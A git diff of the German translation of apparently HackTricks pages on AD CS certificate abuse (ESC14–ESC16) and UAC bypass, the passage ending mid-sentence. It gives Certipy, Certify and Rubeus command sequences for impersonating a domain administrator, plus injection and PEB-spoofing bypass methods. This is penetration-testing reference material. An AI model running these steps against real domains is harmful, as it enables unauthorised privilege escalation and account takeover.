`altSecurityIdentities` schreiben -**Voraussetzung**: Der Angreifer hat Schreibrechte auf das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es zu vergeben in Form einer der folgenden Berechtigungen am Ziel-AD-Objekt: +**Voraussetzung**: Der Angreifer hat Schreibrechte auf das `altSecurityIdentities`-Attribut des Zielkontos oder die Berechtigung, es zu setzen, in Form einer der folgenden Berechtigungen auf dem Ziel-AD-Objekt: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -724,22 +726,22 @@ ESC14 richtet sich gegen **explicit certificate mappings** in Active Directory ( - `GenericAll` - Owner*. -#### Szenario B: Ziel hat schwache Zuordnung via X509RFC822 (E-Mail) +#### Szenario B: Ziel hat schwaches Mapping via X509RFC822 (E-Mail) -- **Voraussetzung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in altSecurityIdentities. Ein Angreifer kann das mail-Attribut des Opfers so setzen, dass es dem X509RFC822-Namen des Ziels entspricht, ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. +- **Voraussetzung**: Das Ziel hat eine schwache X509RFC822-Zuordnung in `altSecurityIdentities`. Ein Angreifer kann das `mail`-Attribut des Opfers so setzen, dass es dem X509RFC822-Namen des Ziels entspricht, ein Zertifikat für das Opfer beantragen/enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. -#### Szenario C: Ziel hat X509IssuerSubject-Zuordnung +#### Szenario C: Ziel hat X509IssuerSubject-Mapping -- **Voraussetzung**: Das Ziel hat eine schwache X509IssuerSubject-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzipals so setzen, dass es dem Subject der X509IssuerSubject-Zuordnung des Ziels entspricht. Anschließend kann der Angreifer ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. +- **Voraussetzung**: Das Ziel hat eine schwache X509IssuerSubject-Explizitzuordnung in `altSecurityIdentities`. Der Angreifer kann das Attribut `cn` oder `dNSHostName` bei einem Opferprinzipal so setzen, dass es dem Subject der X509IssuerSubject-Zuordnung des Ziels entspricht. Danach kann der Angreifer ein Zertifikat für das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. -#### Szenario D: Ziel hat X509SubjectOnly-Zuordnung +#### Szenario D: Ziel hat X509SubjectOnly-Mapping -- **Voraussetzung**: Das Ziel hat eine schwache X509SubjectOnly-explizite Zuordnung in `altSecurityIdentities`. Der Angreifer kann das `cn`- oder `dNSHostName`-Attribut eines Opferprinzipals so setzen, dass es dem Subject der X509SubjectOnly-Zuordnung des Ziels entspricht. Anschließend kann der Angreifer ein Zertifikat als das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. +- **Voraussetzung**: Das Ziel hat eine schwache X509SubjectOnly-Explizitzuordnung in `altSecurityIdentities`. Der Angreifer kann das Attribut `cn` oder `dNSHostName` bei einem Opferprinzipal so setzen, dass es dem Subject der X509SubjectOnly-Zuordnung des Ziels entspricht. Danach kann der Angreifer ein Zertifikat für das Opfer enrollen und dieses Zertifikat verwenden, um sich als das Ziel zu authentifizieren. -### konkrete Operationen +### Konkrete Operationen #### Szenario A -Request a certificate of the certificate template `Machine` +Fordere ein Zertifikat der Zertifikatvorlage `Machine` an. ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -751,31 +753,31 @@ Authentifizieren (mit dem Zertifikat) ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -Bereinigung (optional) +Aufräumen (optional) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Für spezifischere Angriffsverfahren in verschiedenen Angriffsszenarien siehe: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Für spezifischere Angriffsverfahren in verschiedenen Angriffsszenarien lesen Sie bitte Folgendes: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Anwendungsrichtlinien(CVE-2024-49019) - ESC15 +## EKUwu Application Policies(CVE-2024-49019) - ESC15 ### Erklärung -Die Beschreibung auf https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert ausführlich. Im Folgenden ein Zitat des Originaltextes. +Die Beschreibung unter https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc ist bemerkenswert ausführlich. Nachfolgend ein Zitat des Originaltexts. -Mit den eingebauten Standard-Zertifikatvorlagen der Version 1 kann ein Angreifer ein CSR erstellen, das Anwendungsrichtlinien enthält, die gegenüber den in der Vorlage konfigurierten Extended Key Usage-Attributen bevorzugt werden. Die einzige Voraussetzung sind Enrollment-Rechte, und damit lassen sich mit der **_WebServer_** Vorlage client authentication-, certificate request agent- und codesigning-Zertifikate erzeugen. +> Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template ### Ausnutzung -Das Folgende bezieht sich auf [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Klicken Sie, um detailliertere Nutzungsmethoden zu sehen. +Das Folgende bezieht sich auf [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Klicken Sie, um detailliertere Anwendungsanweisungen zu sehen. -Der `find`-Befehl von Certipy kann dabei helfen, V1-Vorlagen zu identifizieren, die potenziell für ESC15 anfällig sind, falls die CA nicht gepatcht ist. +Certipy's `find` command kann helfen, V1-Templates zu identifizieren, die potenziell anfällig für ESC15 sind, falls die CA unpatched ist. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` #### Szenario A: Direct Impersonation via Schannel -**Schritt 1: Fordere ein Zertifikat an und injiziere die Application Policy "Client Authentication" sowie die Ziel-UPN.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` unter Verwendung der V1-Vorlage "WebServer" (die ein vom Enrollee bereitgestelltes Subject erlaubt). +**Schritt 1: Fordere ein Zertifikat an und injiziere die Application Policy "Client Authentication" sowie die Ziel-UPN.** Angreifer `attacker@corp.local` zielt auf `administrator@corp.local` und verwendet die "WebServer" V1-Vorlage (die ein vom Enrollee bereitgestelltes Subject erlaubt). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -784,17 +786,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Das verwundbare V1-Template mit "Enrollee supplies subject". +- `-template 'WebServer'`: Die verwundbare V1-Vorlage mit "Enrollee supplies subject". - `-application-policies 'Client Authentication'`: Fügt die OID `1.3.6.1.5.5.7.3.2` in die Application Policies-Erweiterung des CSR ein. - `-upn 'administrator@corp.local'`: Setzt den UPN im SAN zur Identitätsübernahme. -**Schritt 2: Authentifiziere über Schannel (LDAPS) mit dem erhaltenen Zertifikat.** +**Schritt 2: Mit dem erhaltenen Zertifikat über Schannel (LDAPS) authentifizieren.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Szenario B: PKINIT/Kerberos-Identitätsübernahme durch Missbrauch eines Enrollment Agents +#### Szenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Schritt 1: Fordere ein Zertifikat von einer V1-Vorlage an (mit "Enrollee supplies subject"), und injiziere die Application Policy "Certificate Request Agent".** Dieses Zertifikat dient dazu, dass der Angreifer (`attacker@corp.local`) Enrollment Agent wird. Es wird hier kein UPN für die Identität des Angreifers angegeben, da das Ziel die Agentenberechtigung ist. +**Schritt 1: Fordere ein Zertifikat von einer V1 template an (mit "Enrollee supplies subject"), indem du die Application Policy "Certificate Request Agent" injizierst.** Dieses Zertifikat ist für den Angreifer (`attacker@corp.local`), damit er Enrollment Agent wird. Hier wird kein UPN für die Identität des Angreifers angegeben, da das Ziel die Fähigkeit ist, als Enrollment Agent zu fungieren. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -802,9 +804,9 @@ certipy req \ -ca 'CORP-CA' -template 'WebServer' \ -application-policies 'Certificate Request Agent' ``` -- `-application-policies 'Certificate Request Agent'`: Injiziert OID `1.3.6.1.4.1.311.20.2.1`. +- `-application-policies 'Certificate Request Agent'`: Fügt die OID `1.3.6.1.4.1.311.20.2.1` ein. -**Schritt 2: Verwende das "agent" Zertifikat, um im Namen eines privilegierten Zielbenutzers ein Zertifikat anzufordern.** Dies ist ein ESC3-like-Schritt, bei dem das Zertifikat aus Schritt 1 als "agent" Zertifikat verwendet wird. +**Schritt 2: Verwende das "agent"-Zertifikat, um im Namen eines privilegierten Zielbenutzers ein Zertifikat anzufordern.** Dies ist ein ESC3-ähnlicher Schritt, bei dem das Zertifikat aus Schritt 1 als Agentenzertifikat verwendet wird. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -812,52 +814,52 @@ certipy req \ -ca 'CORP-CA' -template 'User' \ -pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator' ``` -**Schritt 3: Authentifiziere dich als privilegierter Benutzer mithilfe des "on-behalf-of"-Zertifikats.** +**Schritt 3: Authentifizieren Sie sich als privilegierter Benutzer mithilfe des "on-behalf-of" Zertifikats.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ``` -## Security Extension Disabled on CA (Globally)-ESC16 +## Sicherheitserweiterung auf CA deaktiviert (global)-ESC16 ### Erklärung -**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** bezieht sich auf das Szenario, in dem, wenn die Konfiguration von AD CS nicht erzwingt, dass die **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten enthalten ist, ein Angreifer dies ausnutzen kann, indem er: +**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** bezieht sich auf das Szenario, in dem, wenn die Konfiguration von AD CS nicht erzwingt, dass die **szOID_NTDS_CA_SECURITY_EXT**-Erweiterung in allen Zertifikaten enthalten ist, ein Angreifer dies ausnutzen kann durch: -1. Ein Zertifikat **without SID binding** anfordert. +1. Anfordern eines Zertifikats **ohne SID binding**. -2. Dieses Zertifikat **for authentication as any account** verwendet, z. B. um sich als ein hoch privilegiertes Konto auszugeben (z. B. ein Domain Administrator). +2. Verwendung dieses Zertifikats **zur Authentifizierung als beliebiges Konto**, z. B. zur Imitation eines hochprivilegierten Kontos (z. B. eines Domain Administrator). -Sie können auch diesen Artikel lesen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 +Sie können sich auch auf diesen Artikel beziehen, um mehr über das detaillierte Prinzip zu erfahren: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 ### Missbrauch -Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), klicken Sie, um detailliertere Anwendungsanleitungen zu sehen. +Das Folgende bezieht sich auf [diesen Link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Weitere detaillierte Verwendungsweisen finden Sie dort. -Um festzustellen, ob die Active Directory Certificate Services (AD CS) Umgebung für **ESC16** verwundbar ist +Um zu ermitteln, ob die Active Directory Certificate Services (AD CS)-Umgebung für **ESC16** verwundbar ist: ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` -**Schritt 1: Initiale UPN des Zielkontos lesen (optional - zur Wiederherstellung).** +**Schritt 1: Ursprüngliche UPN des Opferkontos auslesen (optional - zur Wiederherstellung). ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**Schritt 2: Aktualisiere die UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.** +**Schritt 2: Aktualisiere den UPN des Opferkontos auf den `sAMAccountName` des Zieladministrators.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -upn 'administrator' \ -user 'victim' update ``` -**Schritt 3: (falls erforderlich) credentials für das "victim"-Konto erhalten (z. B. via Shadow Credentials).** +**Schritt 3: (falls erforderlich) Beschaffen Sie Anmeldeinformationen für das "victim"-Konto (z. B. via Shadow Credentials).** ```shell certipy shadow \ -u 'attacker@corp.local' -p 'Passw0rd!' \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**Schritt 4: Fordere ein Zertifikat als "victim"-Benutzer von _einer beliebigen geeigneten Client-Authentifizierungs-Vorlage_ (z. B. "User") auf der ESC16-verwundbaren CA an.** Da die CA für ESC16 verwundbar ist, wird sie die SID-Sicherheits-Erweiterung im ausgestellten Zertifikat automatisch weglassen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setze die Kerberos-Credential-Cache-Umgebungsvariable (Shell-Befehl): +**Schritt 4: Fordere ein Zertifikat als Benutzer "victim" von _einer geeigneten Client-Authentifizierungs-Vorlage_ (z. B. "User") auf der ESC16-anfälligen CA an.** Da die CA gegenüber ESC16 anfällig ist, wird sie automatisch die SID-Sicherheits-Erweiterung aus dem ausgestellten Zertifikat entfernen, unabhängig von den spezifischen Einstellungen der Vorlage für diese Erweiterung. Setze die Umgebungsvariable für den Kerberos-Credential-Cache (Shell-Befehl): ```bash export KRB5CCNAME=victim.ccache ``` @@ -868,7 +870,7 @@ certipy req \ -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \ -template 'User' ``` -**Schritt 5: Setze die UPN des "Opfer"-Kontos zurück.** +**Schritt 5: Setze die UPN des "victim"-Kontos zurück.** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -881,21 +883,21 @@ certipy auth \ -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \ -username 'administrator' -domain 'corp.local' ``` -## Kompromittierung von Forests durch Zertifikate in Passivform erklärt +## Kompromittierung von Forests durch Zertifikate (in Passivform erklärt) ### Bruch von Forest-Trusts durch kompromittierte CAs -Die Konfiguration für **cross-forest enrollment** wird relativ einfach gestaltet. Das **root CA certificate** aus dem resource forest wird von Administratoren in die **account forests publiziert**, und die **enterprise CA**-Zertifikate aus dem resource forest werden in die **`NTAuthCertificates` und AIA Container in jedem account forest hinzugefügt**. Zur Verdeutlichung: Diese Anordnung gewährt der **CA im resource forest vollständige Kontrolle** über alle anderen Forests, für die sie PKI verwaltet. Sollte diese CA von Angreifern **kompromittiert werden**, könnten Zertifikate für alle Benutzer sowohl im resource- als auch im account-forest von diesen **gefälscht werden**, wodurch die Sicherheitsgrenze des Forests gebrochen würde. +Die Konfiguration für **cross-forest enrollment** wurde relativ einfach gestaltet. Das **root CA certificate** aus dem resource forest wird von Administratoren in die account forests veröffentlicht, und die **enterprise CA**-Zertifikate aus dem resource forest werden in die `NTAuthCertificates`- und AIA-Container in jedem account forest hinzugefügt. Zur Klarstellung: Durch diese Konfiguration wird der **CA im resource forest vollständige Kontrolle** über alle anderen Forests gewährt, für die sie PKI verwaltet. Wird diese CA von Angreifern kompromittiert, könnten Zertifikate für alle Benutzer in sowohl dem resource- als auch den account-forests von ihnen gefälscht werden, wodurch die Sicherheitsgrenze des Forests durchbrochen würde. -### Anmeldeberechtigungen, die fremden Principals gewährt werden +### Enrollment Privileges Granted to Foreign Principals -In Multi-Forest-Umgebungen ist Vorsicht geboten gegenüber Enterprise CAs, die **certificate templates veröffentlichen**, welche **Authenticated Users oder foreign principals** (Benutzer/Gruppen außerhalb des Forests, zu dem die Enterprise CA gehört) **Anmelde- und Bearbeitungsrechte** erlauben.\ -Beim Authentifizieren über einen Trust wird die **Authenticated Users SID** vom AD dem Token des Benutzers hinzugefügt. Daher könnte, wenn eine Domain eine Enterprise CA mit einem Template besitzt, das **Authenticated Users Anmeldeberechtigungen erlaubt**, ein Template potenziell von einem Benutzer aus einem anderen Forest **angemeldet werden**. Ebenso wird, wenn **Anmeldeberechtigungen einem foreign principal explizit durch ein Template gewährt werden**, dadurch eine **cross-forest access-control-Beziehung geschaffen**, die es einem Principal aus einem Forest ermöglicht, **ein Template aus einem anderen Forest zu enrollen**. +In Multi-Forest-Umgebungen ist Vorsicht geboten bei Enterprise CAs, die **certificate templates veröffentlichen**, die **Authenticated Users oder foreign principals** (Benutzer/Gruppen, die außerhalb des Forests liegen, dem die Enterprise CA angehört) **enrollment and edit rights**.\ +Bei Authentifizierung über einen Trust wird vom AD die **Authenticated Users SID** dem Token des Benutzers hinzugefügt. Wenn eine Domain also eine Enterprise CA mit einer Vorlage besitzt, die **Authenticated Users enrollment rights** erlaubt, könnte die Vorlage potenziell von einem Benutzer aus einem anderen Forest **enrolled** werden. Ebenso, wenn einer **foreign principal** durch eine Vorlage **explizit enrollment rights** gewährt werden, wird dadurch eine **cross-forest access-control relationship** geschaffen, die es einem Principal aus einem Forest ermöglicht, in eine Vorlage eines anderen Forests **enroll** zu können. -Beide Szenarien führen zu einer **Erweiterung der Angriffsfläche** von einem Forest zu einem anderen. Die Einstellungen des certificate templates könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer fremden Domain zu erlangen. +Beide Szenarien führen zu einer **Erweiterung der Angriffsfläche** von einem Forest zum anderen. Die Einstellungen der certificate template könnten von einem Angreifer ausgenutzt werden, um zusätzliche Privilegien in einer fremden Domain zu erlangen. -## References +## Referenzen - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) - [GhostPack/Certify](https://github.com/GhostPack/Certify) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index 327668f84..fce596964 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,28 +1,28 @@ -# UAC - User Account Control +# UAC - Benutzerkontensteuerung {{#include ../../banners/hacktricks-training.md}} ## UAC -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktivitäten** ermöglicht. Anwendungen haben unterschiedliche `integrity`-Level, und ein Programm mit einem **hohen Level** kann Aufgaben ausführen, die das System **potenziell kompromittieren könnten**. Wenn UAC aktiviert ist, laufen Anwendungen und Tasks immer **im Sicherheitskontext eines Nicht-Administrator-Kontos**, es sei denn, ein Administrator gewährt diesen Anwendungen/Tasks explizit Administratorrechte, damit sie ausgeführt werden können. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, aber nicht als Sicherheitsgrenze gilt. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ist eine Funktion, die eine **Zustimmungsaufforderung für erhöhte Aktionen** ermöglicht. Anwendungen haben verschiedene `integrity`-Stufen, und ein Programm mit einem **hohen Level** kann Aufgaben ausführen, die **das System potenziell gefährden könnten**. Wenn UAC aktiviert ist, laufen Anwendungen und Aufgaben standardmäßig im **Sicherheitskontext eines Nicht-Administrator-Kontos**, es sei denn, ein Administrator gewährt diesen Anwendungen/Aufgaben ausdrücklich Administratorrechte, damit sie ausgeführt werden können. Es ist eine Komfortfunktion, die Administratoren vor unbeabsichtigten Änderungen schützt, gilt jedoch nicht als Sicherheitsgrenze. -Für mehr Infos über integrity levels: +Für mehr Informationen zu Integritätsstufen: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Wenn UAC aktiviert ist, erhält ein Administrator-Benutzer 2 Tokens: ein Standardbenutzer-Token, um reguläre Aktionen auf normalem Level durchzuführen, und eines mit Administrator-Privilegien. +Wenn UAC aktiv ist, erhält ein Administrator zwei Token: ein Standardbenutzer-Token, um reguläre Aktionen auf normalem Level auszuführen, und eines mit Administratorprivilegien. -Diese [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) beschreibt sehr ausführlich, wie UAC funktioniert, einschließlich des Logon-Prozesses, der Benutzererfahrung und der UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC in ihrer Organisation lokal (mit secpol.msc) funktioniert oder über Group Policy Objects (GPO) in einer Active Directory-Domänenumgebung konfiguriert und verteilt werden. Die verschiedenen Einstellungen werden [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ausführlich erläutert. Es gibt 10 Group Policy-Einstellungen, die für UAC gesetzt werden können. Die folgende Tabelle bietet zusätzliche Details: +This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) erläutert ausführlich, wie UAC funktioniert und behandelt den Anmeldevorgang, die Benutzererfahrung und die UAC-Architektur. Administratoren können Sicherheitsrichtlinien verwenden, um zu konfigurieren, wie UAC für ihre Organisation auf lokaler Ebene funktioniert (mit secpol.msc) oder über Group Policy Objects (GPO) in einer Active Directory-Domänenumgebung konfiguriert und verteilt wird. Die verschiedenen Einstellungen werden [hier](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ausführlich erläutert. Es gibt 10 Group-Policy-Einstellungen, die für UAC festgelegt werden können. Die folgende Tabelle enthält zusätzliche Details: -| Gruppenrichtlinieneinstellung | Registrierungsschlüssel | Standardeinstellung | -| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------- | ------------------------------------------------------------ | +| Group Policy Setting | Registrierungsschlüssel | Standard-Einstellung | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | | [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deaktiviert | | [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deaktiviert | -| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Zustimmung für Nicht-Windows-Binärdateien anfordern | -| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Anmeldeinformationen auf dem sicheren Desktop anfordern | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | | [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Aktiviert (Standard für Home) Deaktiviert (Standard für Enterprise) | | [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Deaktiviert | | [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Aktiviert | @@ -30,21 +30,21 @@ Diese [page](https://docs.microsoft.com/en-us/windows/security/identity-protecti | [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Aktiviert | | [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Aktiviert | -### UAC Bypass Theory +### UAC-Bypass-Theorie -Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also. +Einige Programme werden **automatisch erhöht (autoelevated)**, wenn der **Benutzer zur Administratorgruppe gehört**. Diese Binärdateien haben in ihrem _**Manifest**_ die Option _**autoElevate**_ mit dem Wert _**True**_. Die Binärdatei muss außerdem **von Microsoft signiert** sein. -Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (regular user-level privileges). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt. +Viele Auto-Elevate-Prozesse stellen **Funktionalität über COM-Objekte oder RPC-Server** bereit, die von Prozessen mit medium-Integrität (normale Benutzerrechte) aufgerufen werden können. Beachte, dass COM (Component Object Model) und RPC (Remote Procedure Call) Methoden sind, die Windows-Programme zur Kommunikation und Ausführung von Funktionen zwischen Prozessen verwenden. Zum Beispiel ist das **`IFileOperation COM object`** dafür vorgesehen, Dateioperationen (Kopieren, Löschen, Verschieben) zu handhaben und kann Privilegien automatisch erhöhen, ohne eine Aufforderung anzuzeigen. -Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable. +Es werden möglicherweise Prüfungen durchgeführt, etwa ob der Prozess aus dem **System32-Verzeichnis** gestartet wurde. Das lässt sich zum Beispiel umgehen, indem man in **explorer.exe** oder eine andere in System32 befindliche ausführbare Datei injiziert. -Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user. +Eine weitere Möglichkeit, diese Prüfungen zu umgehen, besteht darin, die **PEB zu verändern**. Jeder Prozess unter Windows hat ein Process Environment Block (PEB), das wichtige Daten über den Prozess enthält, etwa den Pfad zur ausführbaren Datei. Durch Ändern der PEB können Angreifer den Ort ihres eigenen bösartigen Prozesses fälschen (spoofen), sodass er so aussieht, als würde er aus einem vertrauenswürdigen Verzeichnis (z. B. system32) ausgeführt. Diese gefälschten Informationen veranlassen das COM-Objekt dazu, die Privilegien automatisch zu erhöhen, ohne den Benutzer aufzufordern. -Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**. +Um die **UAC** zu **umgehen** (Erhöhung von **medium** auf **high** Integritätsstufe) nutzen einige Angreifer solche Binärdateien, um **beliebigen Code auszuführen**, da dieser dann aus einem Prozess mit **hoher Integrität** ausgeführt wird. -You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m `) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals). +Du kannst das _**Manifest**_ einer Binärdatei mit dem Tool _**sigcheck.exe**_ von Sysinternals prüfen. (`sigcheck.exe -m `) Und du kannst die **Integritätsstufe** der Prozesse mit _Process Explorer_ oder _Process Monitor_ (von Sysinternals) sehen. -### UAC überprüfen +### UAC prüfen Um zu bestätigen, ob UAC aktiviert ist, führe aus: ``` @@ -53,9 +53,9 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Wenn es **`1`** ist, dann ist UAC **aktiviert**, ist es **`0`** oder **existiert es nicht**, dann ist UAC **inaktiv**. +Wenn es **`1`** ist, dann ist UAC **aktiviert**, wenn es **`0`** ist oder es **nicht 